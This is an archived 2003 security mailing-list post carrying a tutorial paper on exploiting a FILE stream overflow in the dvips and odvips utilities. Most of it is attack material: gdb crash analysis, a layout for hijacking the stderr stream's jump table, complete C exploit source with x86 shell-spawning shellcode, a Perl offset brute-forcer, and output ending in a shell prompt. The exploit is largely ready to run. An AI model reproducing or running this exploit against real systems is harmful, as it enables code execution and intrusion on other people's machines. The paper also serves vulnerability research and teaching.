[REVS] File Stream Overflows Paper
From: support@securiteam.com
Date: 02/05/03
- Previous message: support@securiteam.com: "[UNIX] Majordomo Found to Leak Information"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: 5 Feb 2003 20:16:15 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
Beyond Security would like to welcome Tiscali World Online
to our service provider team.
For more info on their service offering IP-Secure,
please visit http://www.worldonline.co.za/services/work_ip.asp
- - - - - - - - -
File Stream Overflows Paper
------------------------------------------------------------------------
SUMMARY
This paper written for those that have not ever seen heard or did not know
how to exploit a FILE Stream overflow. This paper will explain in detail
how to exploit the FILE stream vulnerability in the dvips & odvips
utilities.
DETAILS
Analysis of example FILE Stream overflow vulnerability found in dvips
application
bash-2.05a$ dvips `perl -e 'print "A" x 2024'`
This is dvips(k) 5.86 Copyright 1999 Radical Eye Software
(www.radicaleye.com)
dvips: ! DVI file can't be opened.
Segmentation fault (core dumped)
bash-2.05a$ cat ./gdb.sh
#!/bin/sh
gdb /usr/share/texmf/bin/dvips core
bash-2.05a$ ./gdb.sh
GNU gdb 5.2
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-slackware-linux"...(no debugging
symbols found)...
Core was generated by dvips
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libm.so.6...done.
Loaded symbols for /lib/libm.so.6
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 _IO_vfprintf (s=0x41414141, format=0x8069822 "\n", ap=0xbfffef00) at
vfprintf.c:270
270 vfprintf.c: No such file or directory.
in vfprintf.c
(gdb) bt
#0 _IO_vfprintf (s=0x41414141, format=0x8069822 "\n", ap=0xbfffef00)
at vfprintf.c:270
#1 0x4009190a in fprintf (stream=0x41414141, format=0x8069822 "\n")
at fprintf.c:32
#2 0x0805337f in error ()
#3 0x0804dd07 in strcpy () at ../sysdeps/generic/strcpy.c:31
#4 0x0804dd25 in error ()
#5 0x0804f522 in error ()
#6 0x4005617d in __libc_start_main (main=0x804e0f4 <error+988>, argc=2,
ubp_av=0xbffff104, init=0x8048e98, fini=0x80668a8 <error+101264>,
rtld_fini=0x4000a534 <_dl_fini>, stack_end=0xbffff0fc)
at ../sysdeps/generic/libc-start.c:129
Using the backtrace we can see that all frames existing in the core file,
are known functions, and EIP never got overwritten. However, let us see
what registers say in frame 0.
(gdb) info reg
eax 0x41414141 1094795585 <- EAX got overwritten with
out input
ecx 0x41414141 1094795585 <- same thing here for ECX
edx 0x8069822 134649890 <- format=0x8069822
ebx 0x4015ae58 1075162712
esp 0xbfffe8c8 0xbfffe8c8
ebp 0xbfffeed0 0xbfffeed0
esi 0x8068c01 134646785
edi 0x8069822 134649890 <- format here too.
eip 0x400889d4 0x400889d4
It seems that the EBP/EIP registers are not overwritten with our input so
we have to find a way of tricking them thinking that they are pointing to
a valid location.
Therefore, what we have here is a FILE Stream overflow since s=0x41414141
was overwritten with our input. Let us investigate further:
(gdb) x/a stdout
0x40158200 <_IO_2_1_stdout_>: 0xfbad2084
The address of the stdout file stream is : 0x40158200, but it would be a
pain cause of
the nulls, so let's look at the stderr address.
(gdb) x/a stderr
0x40158380 <_IO_2_1_stderr_>: 0xfbad2887 that's fine we're going to use
this one since no nulls existing in stderr's stream address. Let us test
it out.
bash-2.05a$ dvips perl -e 'print "\x80\x83\x15\x40" x 2024'
This is dvips(k) 5.86 Copyright 1999 Radical Eye Software
(www.radicaleye.com)
dvips: ! DVI file can't be opened.
userdict /end-hook known{end-hook}if
SafetyEnclosure restore
Not to our surprise, no segmentation fault, and different output, so it
really worked, without even having to align stderr's FILE Stream
addresses.
So, how will we get advantage of this situation in order to execute
arbitrary code? In these cases, the best solution is to follow the
execution flow of the application, and see where you can abuse it. So let
us crash the dvips again and have a look at the stderr's FILE Stream
structure.
bash-2.05a$ dvips `perl -e 'print "A" x 2024'`
This is dvips(k) 5.86 Copyright 1999 Radical Eye Software
(www.radicaleye.com)
dvips: ! DVI file can't be opened.
Segmentation fault (core dumped)
bash-2.05a$ ./gdb.sh
GNU gdb 5.2
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-slackware-linux"...(no debugging symbols
found)...
Core was generated by dvips
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libm.so.6...done.
Loaded symbols for /lib/libm.so.6
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 _IO_vfprintf (s=0x41414141, format=0x8069822 "\n", ap=0xbfffef00) at
vfprintf.c:270
270 vfprintf.c: No such file or directory.
in vfprintf.c
(gdb) x/40x stderr
0x40158380 <_IO_2_1_stderr_>: 0xfbad2887 0x401583c7
0x401583c7 0x401583c7
0x40158390 <_IO_2_1_stderr_+16>: 0x401583c7 0x401583c7
0x401583c7 0x401583c7
0x401583a0 <_IO_2_1_stderr_+32>: 0x401583c8 0x00000000
0x00000000 0x00000000
0x401583b0 <_IO_2_1_stderr_+48>: 0x00000000 0x40158200
0x00000002 0x00000000
0x401583c0 <_IO_2_1_stderr_+64>: 0xffffffff 0x0a000000
0x40158298 0xffffffff
0x401583d0 <_IO_2_1_stderr_+80>: 0xffffffff 0x00000000
0x401582c0 0xffffffff
0x401583e0 <_IO_2_1_stderr_+96>: 0x00000000 0x00000000
0x00000000 0x00000000
0x401583f0 <_IO_2_1_stderr_+112>: 0x00000000 0x00000000
0x00000000 0x00000000
0x40158400 <_IO_2_1_stderr_+128>: 0x00000000 0x00000000
0x00000000 0x00000000
0x40158410 <_IO_2_1_stderr_+144>: 0x00000000 0x40157f20
0x40158380 0x00000000
Now we can see the structure and can get her lenght for later use.
(gdb) p /d (0x40158420 - 0x40158380)
$1 = 160
But let's see the really important part now, are there (inside the
structure) any jump addresses? So let us have a look:
(gdb) x/40a stderr*
0x40158380 <_IO_2_1_stderr_>: 0xfbad2086 0x0 0x0 0x0
0x40158390 <_IO_2_1_stderr_+16>: 0x0 0x0 0x0 0x0
0x401583a0 <_IO_2_1_stderr_+32>: 0x0 0x0 0x0 0x0
0x401583b0 <_IO_2_1_stderr_+48>: 0x0 0x40158200
<_IO_2_1_stdout_> 0x2 0x0
0x401583c0 <_IO_2_1_stderr_+64>: 0xffffffff 0x0
0x40158298 <_IO_stdfile_2_lock> 0xffffffff
0x401583d0 <_IO_2_1_stderr_+80>: 0xffffffff 0x0
0x401582c0 <_IO_wide_data_2> 0x0
0x401583e0 <_IO_2_1_stderr_+96>: 0x0 0x0 0x0 0x0
0x401583f0 <_IO_2_1_stderr_+112>: 0x0 0x0 0x0 0x0
0x40158400 <_IO_2_1_stderr_+128>: 0x0 0x0 0x0 0x0
0x40158410 <_IO_2_1_stderr_+144>: 0x0 0x40157f20
<_IO_file_jumps> 0x40158380 <_IO_2_1_stderr_>
Can you see the _IO_file_jumps ? This is a pointer to a function.
Theory:
So, here's the plan, we have to create a fake FILE Stream structure with
160 bytes in size filled with the addresses (of the jumptable) that will
point to the shellcode that we want to execute.
Therefore, our user input buffer should look like this:
(This is the theory behind most FILE Stream overflows met in real life
conditions)
.....<bottom of the user input buffer>......
[1] {Fake FILE Stream Structure}
(Fake file stream structure is to be filled with the addresses, of the
fake jumptable that point to the shellcode.)
Specs:
Size of the Fake FILE Stream Structure: 160Bytes. Been filled with the
Addresses pointing to location [2].
[2] {Fake jumptable}
(To be filled with the addresses, of where our shellcode is. Since the EIP
is being tricked in this step we make it point to the shellcode location.)
[3] {Shellcode}
(Simple x86 linux execve assembly code of "/bin//sh" )
[0] {Addresses of the Fake FILE Stream Structure}
(In order to overwrite the File Stream, and make it point to our fake FILE
Stream Structure.)
.....<end of the user input buffer>.........
As you can see this theory does not differ much from common buffer
overflow exploits. It is just uses 2 steps more for tricking the
application thinking it uses a valid FILE Stream, and finally to get the
EIP register tricked into pointing to the shellcode.
Now, based to this theory let us try to construct the exploit to
demonstrate that it can be really done.
The exploit:
Here is the sample FILE Stream overflow exploit that affects dvips &
odvips applications.
NOTE: This exploit could be much more robust and independent, but the
purpose here is just to show the simple and straightforward way of doing
it.
NOTE: This process is taking place under Slackware Linux 8.1, so if you
are making the test under different distribution or even OS, there you
should tweak some things by yourself, but that is all.
Just look on the code, it should be very easy to understand.
-----------------------------dvips-ex.c------------------------------
/*
* FILE Stream overflow exploit for
* This is dvips(k) 5.86 Copyright 1999 Radical Eye Software
(www.radicaleye.com)
*
--------------------------------------------------------------------------
*
* "As always exploitation should be an art..."
* version 0.3 much more automated.
*
* (c) 2k3 killah @ hack . gr
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define VERSION "0.3"
#define SIZE 3048
char shellcode[]= /* linux x86 execve of "/bin//sh" */
"\x31\xd2\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x52"
"\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
int
main(int argc,char *argv[])
{
char buffer[4000];
int align,offset,pad,i;
long ffss_addr=0xbfffeecc, jmpaddr, shaddr;
if(argc!=4)
{
fprintf(stderr, " FILE Stream Overflow exploit for dvips ver%s\n"
"Usage : %s <align> <offset> <pad>\n"
"\tCopyright 2k3 killah @ hack . gr\n",VERSION,argv[0]);
exit(-1);
}
align=atoi(argv[1]);
offset=atoi(argv[2]);
pad=atoi(argv[3]);
ffss_addr += offset; // fake FILE Stream Structure Address
jmpaddr = (ffss_addr+160); // 40 times
shaddr = (jmpaddr+32); // 8 times
fprintf(stderr, " fake FILE Stream Structure Address : [0x%x]\n"
" Jump-Table Address\t\t : [0x%x]\n"
" Shellcode Address\t\t : [0x%x]\n"
" align = [%d] | offset = [%d] | pading =
[%d]\n",ffss_addr,jmpaddr,shaddr,align,offset,pad);
/* align the buffer */
for(i=0; i<align; i++)
buffer[i]=0x42;
/* pad the buffer */
for(i=align; i<pad+align; i++)
buffer[i]=0x41;
/* create the ffss section (Fake File Stream Structure) */
for(i=pad+align; i<align+160; i+=4)
*(long *)&buffer[i]=jmpaddr;
/* making the fake jump table */
for(i=align+160; i<align+160+32; i+=4)
*(long *)&buffer[i]=shaddr;
/* copy the shellcode into the buffer */
memcpy(buffer+align+160+32,shellcode,strlen(shellcode));
/* fill the rest of the buffer with the fake FILE Stream Structure *
* addresses so as to be overwritten and start the whole proccess */
for(i=strlen(shellcode)+160+32+align; i<SIZE+align; i+=4)
*(long *)&buffer[i]=ffss_addr;
execl("/usr/share/texmf/bin/dvips", "dvips", buffer, NULL);
exit(0);
}
------------------------------dvips-ex.c-------------------------------EOF
For those that are bored using gdb each time for getting the address of
the fake FILE Stream structure, or the offset, herein is a lame brute.pl
script.
-------------=----------brute.pl--------------------------
#!/usr/bin/perl
$MIN=-1000;
$MAX=1000;
while($MIN<$MAX)
{
printf(" offset : $MIN \n");
system("./dviex 0 $MIN 3");
$MIN++;
}
------------------------brute.pl---------------------------EOF
We found the fake FILE Stream Structure Address @ offset : -161
fake FILE Stream Structure Address : [0xbfffee2b]
Jump-Table Address : [0xbfffeecb]
Shellcode Address : [0xbfffeeeb]
align = [0] | offset = [-161] | pading = [3]
This is dvips(k) 5.86 Copyright 1999 Radical Eye Software
(www.radicaleye.com)
dvips: ! DVI file can't be opened.
sh-2.05a$
ADDITIONAL INFORMATION
The information has been provided by <mailto:killah@hack.gr> killah.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Next message: support@securiteam.com: "[TOOL] Linux ICMP Based Shellcode"
- Previous message: support@securiteam.com: "[UNIX] Majordomo Found to Leak Information"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]